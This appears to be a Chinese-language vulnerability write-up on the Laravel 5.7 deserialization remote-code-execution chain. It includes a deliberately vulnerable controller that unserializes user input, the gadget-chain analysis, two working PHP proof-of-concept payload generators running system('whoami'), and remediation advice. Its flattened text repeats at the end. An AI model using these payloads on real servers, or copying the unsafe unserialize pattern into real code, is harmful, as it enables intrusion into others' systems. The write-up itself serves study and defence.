Laravel5.7反序列化漏洞分析
字数 1460 2025-08-25 22:59:10

Laravel 5.7 反序列化漏洞分析与利用

漏洞概述

Laravel 5.7版本中存在一个反序列化漏洞,攻击者可以通过精心构造的序列化数据实现远程代码执行(RCE)。该漏洞主要利用PendingCommand类的__destruct()方法作为入口点,通过一系列对象属性控制最终实现任意命令执行。

环境搭建

  1. 系统要求

    • PHP >= 7.1.3
    • Laravel 5.7
  2. 安装步骤

    composer create-project laravel/laravel=5.7 laravel5-7 --prefer-dist
    php artisan serve
    
  3. 添加测试路由
    routes/web.php中添加:

    Route::get("/index","\App\Http\Controllers\TestController@demo");
    
  4. 创建测试控制器
    app/Http/Controllers/TestController.php中:

    <?php 
    namespace App\Http\Controllers;
    use Illuminate\Http\Request;
    
    class TestController extends Controller {
        public function demo() {
            if(isset($_GET['c'])) {
                $code = $_GET['c'];
                unserialize($code);
            } else {
                highlight_file(__FILE__);
            }
            return "Welcome to laravel5.7";
        }
    }
    

漏洞分析

漏洞入口点

漏洞利用链始于PendingCommand类的__destruct()方法,位于:
vendor/laravel/framework/src/Illuminate/Foundation/Testing/PendingCommand.php

当对象被销毁时,如果hasExecuted为false(默认值),会调用run()方法:

public function __destruct() {
    if ($this->hasExecuted) {
        return;
    }
    $this->run();
}

关键调用链

  1. run()方法

    public function run() {
        $this->hasExecuted = true;
        $this->mockConsoleOutput();
    
        try {
            $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
        } catch (...) {
            // ...
        }
        // ...
    }
    
  2. mockConsoleOutput()方法
    该方法会创建模拟对象,关键点在于:

    foreach ($this->test->expectedQuestions as $i => $question) {
        // ...
    }
    

    这里的$this->test可控,可以利用__get()魔术方法绕过。

  3. createABufferedOutputMock()方法
    同样存在类似的可控点:

    foreach ($this->test->expectedOutput as $i => $output) {
        // ...
    }
    
  4. 核心利用点

    $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
    

    通过控制$this->app$this->command$this->parameters实现任意命令执行。

绕过技术

  1. 绕过mockConsoleOutput检查
    使用DefaultGeneratorGenericUser类来提供expectedQuestionsexpectedOutput属性:

    $this->default = ['T0WN' => "hacker"];  // 或
    $this->attributes['expectedOutput'] = 1;
    
  2. **控制\(this->app**: 需要将`\)this->app设置为Illuminate\Foundation\Application实例,并控制其bindingsinstances`属性:

    $app = new Illuminate\Foundation\Application([
        "Illuminate\Contracts\Console\Kernel" => [
            "concrete" => "Illuminate\Foundation\Application"
        ]
    ]);
    
  3. 最终命令执行
    通过控制$this->command$this->parameters实现:

    $this->command = "system";
    $this->parameters = ["whoami"];
    

漏洞利用POC

POC 1

<?php
namespace Illuminate\Foundation\Testing {
    use Faker\DefaultGenerator;
    use Illuminate\Foundation\Application;

    class PendingCommand {
        protected $command;
        protected $parameters;
        protected $app;
        public $test;

        public function __construct($command, $parameters, $class, $app) {
            $this->command = $command;
            $this->parameters = $parameters;
            $this->test = $class;
            $this->app = $app;
        }
    }
    $a = array("DawnT0wn" => "1");
    $app = array("Illuminate\Contracts\Console\Kernel" => array("concrete" => "Illuminate\Foundation\Application"));
    echo urlencode(serialize(new PendingCommand("system", array("whoami"), new DefaultGenerator($a), new Application($app))));
}

namespace Faker {
    class DefaultGenerator {
        protected $default;
        public function __construct($default = null) {
            $this->default = $default;
        }
    }
}

namespace Illuminate\Foundation {
    class Application {
        protected $hasBeenBootstrapped = false;
        protected $bindings;
        public function __construct($bind) {
            $this->bindings = $bind;
        }
    }
}

POC 2

<?php
namespace Illuminate\Foundation\Testing {
    class PendingCommand {
        protected $command;
        protected $parameters;
        public $test;
        protected $app;
        public function __construct($test, $app, $command, $parameters) {
            $this->app = $app;
            $this->test = $test;
            $this->command = $command;
            $this->parameters = $parameters;
        }
    }
}

namespace Faker {
    class DefaultGenerator {
        protected $default;
        public function __construct($default = null) {
            $this->default = $default;
        }
    }
}

namespace Illuminate\Foundation {
    class Application {
        protected $instances = [];
        public function __construct($instances = []) {
            $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
        }
    }
}

namespace {
    $defaultgenerator = new Faker\DefaultGenerator(array("DawnT0wn" => "1"));
    $app = new Illuminate\Foundation\Application();
    $application = new Illuminate\Foundation\Application($app);
    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, "system", array("whoami"));
    echo urlencode(serialize($pendingcommand));
}

漏洞修复

  1. 升级到Laravel最新版本
  2. 避免直接反序列化用户输入
  3. 使用allowed_classes选项限制反序列化的类:
    unserialize($code, ['allowed_classes' => false]);
    

总结

该漏洞利用链展示了Laravel框架中反序列化漏洞的典型利用方式,通过控制对象属性实现从反序列化到RCE的完整链条。理解此漏洞有助于:

  1. 学习PHP反序列化漏洞的挖掘思路
  2. 掌握Laravel框架的内部工作机制
  3. 提高对POP(Property-Oriented Programming)链构造的理解

值得注意的是,Laravel 5.4到5.8版本中存在多条类似的利用链,安全研究人员应全面审查反序列化操作的安全性。

参考链接

  1. https://laworigin.github.io/2019/02/21/laravelv5-7反序列化rce/
  2. https://xz.aliyun.com/t/8359#toc-6
  3. https://blog.csdn.net/rfrder/article/details/113826483
  4. https://xz.aliyun.com/t/9478
  5. https://www.anquanke.com/post/id/258264
Laravel 5.7 反序列化漏洞分析与利用 漏洞概述 Laravel 5.7版本中存在一个反序列化漏洞,攻击者可以通过精心构造的序列化数据实现远程代码执行(RCE)。该漏洞主要利用 PendingCommand 类的 __destruct() 方法作为入口点,通过一系列对象属性控制最终实现任意命令执行。 环境搭建 系统要求 : PHP >= 7.1.3 Laravel 5.7 安装步骤 : 添加测试路由 : 在 routes/web.php 中添加: 创建测试控制器 : 在 app/Http/Controllers/TestController.php 中: 漏洞分析 漏洞入口点 漏洞利用链始于 PendingCommand 类的 __destruct() 方法,位于: vendor/laravel/framework/src/Illuminate/Foundation/Testing/PendingCommand.php 当对象被销毁时,如果 hasExecuted 为false(默认值),会调用 run() 方法: 关键调用链 run()方法 : mockConsoleOutput()方法 : 该方法会创建模拟对象,关键点在于: 这里的 $this->test 可控,可以利用 __get() 魔术方法绕过。 createABufferedOutputMock()方法 : 同样存在类似的可控点: 核心利用点 : 通过控制 $this->app 和 $this->command 、 $this->parameters 实现任意命令执行。 绕过技术 绕过mockConsoleOutput检查 : 使用 DefaultGenerator 或 GenericUser 类来提供 expectedQuestions 和 expectedOutput 属性: 控制$this->app : 需要将 $this->app 设置为 Illuminate\Foundation\Application 实例,并控制其 bindings 或 instances 属性: 最终命令执行 : 通过控制 $this->command 和 $this->parameters 实现: 漏洞利用POC POC 1 POC 2 漏洞修复 升级到Laravel最新版本 避免直接反序列化用户输入 使用 allowed_classes 选项限制反序列化的类: 总结 该漏洞利用链展示了Laravel框架中反序列化漏洞的典型利用方式,通过控制对象属性实现从反序列化到RCE的完整链条。理解此漏洞有助于: 学习PHP反序列化漏洞的挖掘思路 掌握Laravel框架的内部工作机制 提高对POP(Property-Oriented Programming)链构造的理解 值得注意的是,Laravel 5.4到5.8版本中存在多条类似的利用链,安全研究人员应全面审查反序列化操作的安全性。 参考链接 https://laworigin.github.io/2019/02/21/laravelv5-7反序列化rce/ https://xz.aliyun.com/t/8359#toc-6 https://blog.csdn.net/rfrder/article/details/113826483 https://xz.aliyun.com/t/9478 https://www.anquanke.com/post/id/258264